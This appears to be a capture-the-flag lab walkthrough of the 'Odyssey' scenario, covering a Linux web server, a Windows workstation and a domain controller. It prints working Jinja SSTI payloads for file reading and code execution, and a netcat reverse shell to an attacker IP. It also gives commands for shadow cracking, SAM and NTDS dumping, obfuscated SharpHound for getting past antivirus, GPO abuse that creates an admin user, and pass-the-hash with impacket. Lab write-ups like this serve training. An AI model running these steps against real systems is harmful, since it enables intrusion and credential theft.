HackSmarter Odyssey Walkthrough
Objective / Scope
You are a member of the Hack Smarter Red Team and have been assigned to perform a black-box penetration test against a client’s critical infrastructure. There are three machines in scope: one Linux web server and two Windows enterprise hosts.
The client’s environment is currently in a degraded state due to ongoing migration efforts; the Domain Controllers are experiencing synchronization failures. Consequently, standard automated LDAP enumeration tools (such as BloodHound) are expected to fail or return unreliable data. The client wants to assess if an attacker can thrive in this “broken” environment where standard administrative tools are malfunctioning.
Note From The Author Odyssey was built off a recent engagement that I had where the DC’s were not syncing correctly. This caused a lot of problems during the engagement. We also had to go through a proxy, which made tools like LDAP very hard to use. Your normal tools may fail… can you think outside the box?
Solution :
Initial Scans :
First we start by scanning all machines :
From the open ports , we can tell that we have A DC , a windows machine and a web server . Once the scans were done this is what we could conclude :
DC-01 : The Domain controller (Obviously) we see port 88 and DNS and ldap so we can confirm as well .
WKST-01 : A Windows workstation with RDP open on it .
Web-01 : This is a Linux machine hosting a Web server on port 5000 and an SSH server .
First before we start we need to add the Domain names , Hostnames to our /etc/hosts file , we can use nxc for it .
Now the first thing i always try to do is get a list of usernames that we can use for ASREPROASTING, to do so i like to use nxc to check for Null authentication .
Didn’t work , tried checking shares as well as the guest account bu that didn’t work either .
Enumerating RPC and ldap didn’t return anything useful either .
Tried checking the shares on the other windows workstation but that didn’t work either . The way here is definetly through the Web server .
Before we go deeper : One thing i like to keep in mind when doing an lab that involves AD is this quick checklist :
1
2
3
4
5
6
7
8
9
10
11
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .
Now let’s enumerate each machine separately starting with the web app .
Web-01 !
If we navigate to the web app , we get this Ping function :
Since i saw a Ping , i thought maybe the way is through a command injection , but when i try to enter an IP address it just gets rendered back to us .
Whatever we type , we get that Rendered back to us .
First thing we should think of is an SSTI injection . I already have a detailed section on my Web metthodology on how to detect and exploit an SSTI :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
Now to test for it i used this simple payload : , depending on the response we will know if this web app is actually vulnerable or not , if we get 49 it means our code was actually executed .
Perfect our code was executed which means we have an SSTI , now after that we need to know which engine is being used . Again we inject a payload and based on the response rendered to us , we will know which one .
We can follow this Guide to know which engine is being used .
1
https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/
Now we follow this diagram . Injecting :
This works , so it is either Jinja or Twig .
I started by injecting a payload for Twig that can cause RCE and i got this error :
1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}
# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}
# 3/ RCE :
{{ ['id'] | filter('system') }}
We clearly see that this is running Jinja .
1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Now if we run the payload for RCE :
This works perfectly , now all we have to do is turn this into an reverse shell . I first checked if the machine had netcat .
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('which nc').read() }}
Now we just search for a nc reverse shell .
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.200.62.214 4445 >/tmp/f
If we execute it , we see that it hangs which is a good sign now if we go back to our listener :
Perfect now we’ve got our Foothold . Now first thing i always do is try and stabilize our shell .
1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
background
stty raw -echo; fg
export TERM=xterm
PS1='\[\e[31m\]\u\[\e[96m\]@\[\e[35m\]\H\[\e[0m\]:\[\e[93m\]\w\[\e[0m\]\$'
Now before i import Linpeas , i like to check some quick wins , i already have a small section inside my OSCP methodology (feel free to check it ) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
id : Check for Groups and Which user .
cat /etc/passwd : Check other users on the machine .
sudo -l : which prog can be ran with root perm .
uname -sr / lsb_relase -a : Version + architecture .
find / -type f -perm -04000 -ls 2>/dev/null : Find binaries with SUID .
Check for Bash History .
If we can Write into a file and execute it as anOTher user , always put a RevShell there .
If you get Creds always test for password Reuse .
cat /etc/fstab : if there is an nfs .
sudo -V : check sudo version for privesc .
# Readable files : (SSH Keys are most important here) :
find / -readable -type f -group ghill_sa 2>/dev/null
# Kenrel PrivEsc :
uname -a : Check the kernel version and check if it has privesc vectors .
# SUID Binaries :
We see that there is an added s into who can RWX on that file or executable which makes
it an SUID , now if we can execute a rev shell with that SUID , it will always give us a
root shell . There are a lot of legit SUID binaries that we can't exploit but if we find
an unusual one , we should look into it .
find / -type f -perm -04000 -ls 2>/dev/null
wget http://10.10.14.139/pspy
./pspy
# Look for UID=0 ===> those are ran by Root .
We see that our user can read some SSH files . which shouldn’t be allowed , let’s import them back to our kali , modify the permissions and try to login using them .
Now that we have a private key we can attempt to use it , we don’t know this key is for which user .
If we check the users who have a Shell on the machine , we can see the root user , ghill user as well , so let’s try to login using the SSH key using one of these 2 users .
Perfect , the Key is for the Root user not ghill , Huge security risk . Now i tried looking for any Kerberos Files on the machine like these 2 :
/etc/krb5.conf — reveals the realm, KDC address, and confirms AD domain membership /etc/krb5.keytab — if readable, contains principal keys that allow direct TGT requests without knowing the password
But i couldn’t find any of them sadly .
Now usually Once we fully compromise a Linux machine , it’s always good practice to crack the /etc/shadow file , as this might give us some additional passwords we can use for spraying , i got a small section on my OSCP methodology on how to crack the shadows file .
1
2
3
4
5
6
7
8
9
10
11
12
13
# Cracking Shadow file :
unshadow pass shadow > unshadow
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow
# DICTIONARY CRACKING sha512crypt HASHES WITH rockyou.txt
john --wordlist=rockyou.txt --format=sha512crypt hashes.txt
# DICTIONARY CRACKING MD5 HASHES WITH rockyou.txt
john --format=Raw-MD5 --wordlist=rockyou.txt hashes.txt
# DICTIONARY CRACKING NTLM HASHES WITH rockyou.txt
john --format=NT --wordlist=rockyou.txt hashes.txt
First we import the shadow and the passwd file :
Then we crack them and hope we get a password .
We get the root password : “P@ssw0rd!”
I first tried to check if it is reused by the user ghill to authenticate to the domain, we can use nxc for that :
We see that we can’t authenticate to the domain , but the user is a Local user on the Windows workstation .
EC2AMAZ-NS87CNK :
Now we know that the user ghill is a local user on the machine , let’s first check the sares then what type of access our user has , whether he can rdp or winrm .
Pretty weird , our user has read access over the Admin share and Write over all the other shares , with Write access i tried Uploading a INK file using nxc and use Responder to try and capture some Hashes but that didn’t return anything useful .
Before we check the Shares, let’s RDP into the machine to enumerate it further .
1
xfreerdp3 /v:EC2AMAZ-NS87CNK /u:ghill_sa /p:'P@ssw0rd!' /cert:ignore +clipboard /dynamic-resolution
Checking the Documents , Desktop and all the other folders of the ghill_sa user , we find nothing useful .
But if we check the shares :
We find these Creds , i tried validating them , but they don’t seem to be Real users .
For now let’s see if we can elevate our privileges on the machine .
Before i import Winpeak or Powerup , first let’s check the Groups as well as the Tokens , maybe we can get some quick wins .
Perfect , we are part of the Backup Operators group. This is very good news since we can create a backup for the SAM DB and dump hashes that way , I already have a step by step guide on my OSCP methdology :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
====> If you want to dump only local users :
On Windows :
cd c:\
mkdir temp
cd temp
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system
copy sam,system \\TSCLIENT\share\
On kali :
secretsdump.py -sam sam -system systsem local .
====> If you want to dump all users on domain (u need ntds file , requires us to be on the DC for this ) .
On Kali :
nano viper.dsh : Inside of it type :
set context persistent nowriters
add volume c: alias viper
create
expose %viper% x:
unix2dos viper.dsh
On Windows :
upload viper.dsh : We need to import the file onto the machine (use upload on evilwinrm or impacket smbserver or iwr ...)
powershell -c iwr -uri http://KaliIP\viper.dsh -o viper.dsh
diskshadow /s viper.dsh
robocopy /b x:\windows\ntds . ntds.dit
reg save hklm\system c:\windows\temp\system
On Kali :
impacket-secretsdump -ntds ntds.dit -system SYSTEM local
In our case we will be following the first section since this is a normal workstation and not the DC , but if you ever come across a user on the DC that is part of BackupOperator group , you can follow the second part to dump the NTDS file .
First we open a PS shell (Run it as Administrator) , then copy the sam and System files .
Now to transfer the files , i already have a Shared drive (from the xfree rdp command). The location is always \TSCLIENT\sharename\ . In our case the name is Shared :
1
2
3
4
5
6
==> RDP command :
xfreerdp3 /v:EC2AMAZ-NS87CNK /u:ghill_sa /p:'P@ssw0rd!' /cert:ignore +clipboard /dynamic-resolution /drive:.,Shared
==> File Transfer :
cd c:\temp
move * \\TSCLIENT\shared
Now back to our Kali machine we can use secretsdump to dump the SAM .
A lot of local users :)
DC01 :
I tried authenticating with all of them using their hashes to the domain , to see which users are Domain users, that we can use to enumerate the Domain further .
Finally we find a Domain User , Now we can generate a list of valid domain users , test for ASREPROASTING , Kerberoasting , password Spraying then if we find nothing we can check Bloodhound ACLs .
1
nxc smb DC01.hsm.local -u bbarkinson -H 53c3709ae3d9f4428a230db81361ffbc --rid-brute --rid-brute | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee all_users
Looking at it , very few users to have ASREPROASTING , but still let’s test it .
1
2
3
4
5
==> Asreproasting:
impacket-GetNPUsers hsm.local/ -dc-ip DC01.hsm.local -usersfile all_users -outputfile Hashes.txt
==> Kerberoasting :
nxc ldap DC01.hsm.local -u bbarkinson -H 53c3709ae3d9f4428a230db81361ffbc --kerberoasting kerb_hash
Nothing useful , let’s try and run BloodHound , maybe we can find Important ACLs for the compromised user that we can abuse , here are the steps to setup Bloodhound :
1
2
3
4
5
6
7
8
9
# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound :
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhoun d-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login
Unfortunately this didn’t work :
This is normal since they mentionned it in the Objective section .
Now i did import Sharphound to the machine via our shared drive but due to the machine having an AV , it automatically blocks Sharphound .
Apparently there is this obfuscated version of Sharphound that we can use to try and bypass the AV .
1
https://github.com/Flangvik/ObfuscatedSharpCollection/blob/main/NetFramework_4.7_Any/SharpHound.exe._obf.exe
We easily import it using our Shared drive .
Again this didn’t work since it can’t resolve the DC DNS name -_- , so the only way will be to run sharphound right on the DC machine haha . let’s see if our user can access the DC via WINRM or rdp .
This is perfect , our user can Winrm to the DC01 , let’s login via evil-winrm then import our Sharphound exe via evil-winrm and run it .
Now we just run it and Download it via evil-wirm :
Finally we inject this zip file into Bloodhound .
We can see that our user has GenericWrite over a GPO — this is a critical security misconfiguration, as it can be abused to create a scheduled task that adds a new user to the Domain Admins group. Once the GPO applies, we can use the newly created account to perform a DCSync attack and dump all domain credentials.
To do this we can use a tool like GPOabuse which will automate this for us , by default the tool will create this user john user to local administrators group (Password: H4x00r123..)
All we need are Valid Creds for the user who has generic write and the GPO ID , which can be found via Blooodhound or in the SYSVOL share .
1
2
3
4
git clone https://github.com/Hackndo/pyGPOAbuse
cd pyGPOAbuse
==> To run it
python3 pygpoabuse.py 'hsm.local'/'bbarkinson' -hashes ':53c3709ae3d9f4428a230db81361ffbc' -gpo-id "526CDF3A-10B6-4B00-BCFA-36E59DCD71A2" -f
Now either we wait for it to execute or we can force a GPO refresh using our winrm shell so that it executes immediately :
Now we use our new user to dump the ntds file and get all Hashes .
Now for the flags :
The First user flag can be found in the Root directory on machine WEB01 .
The Second user flag is in the Administrator Desktop of EC2AMAZ-NS87CNK : We can connect via PSexec since we already have the Hash of the Administrator via SAM dump .
I tried PSexec , SMBsexec , wmi2exec , but they all didn’t work -_- , finally i used a tool called atexec which creates a task for each command :
1
2
3
4
5
6
7
8
9
10
11
12
==> These 2 Worked but broke immediately after 1 command :
smbexec.py administrator@EC2AMAZ-NS87CNK.hsm.local -hashes :d5cad8a9782b2879bf316f56936f1e36
psexec.py administrator@EC2AMAZ-NS87CNK.hsm.local -hashes :d5cad8a9782b2879bf316f56936f1e36
==> These 2 didn't even work .
python3 wmiexec2.py administrator@EC2AMAZ-NS87CNK.hsm.local -hashes :d5cad8a9782b2879bf316f56936f1e36
wmiexec.py administrator@EC2AMAZ-NS87CNK.hsm.local -hashes :d5cad8a9782b2879bf316f56936f1e36
==> Again Worked once but broke immediately :
atexec.py administrator@EC2AMAZ-NS87CNK.hsm.local -hashes :d5cad8a9782b2879bf316f56936f1e36 "whoami"
Finally i gave up and used smbclient to be able to read the C$ Share and get the flag that way -_- :
1
smbclient.py -hashes :d5cad8a9782b2879bf316f56936f1e36 administrator@10.1.26.225
From there we find the second flag in the Administrator’s Desktop :
And for the Last flag , it’s in the Administrator Desktop .
That was all for this lab , Hope you learned something from it . See you in the next one :)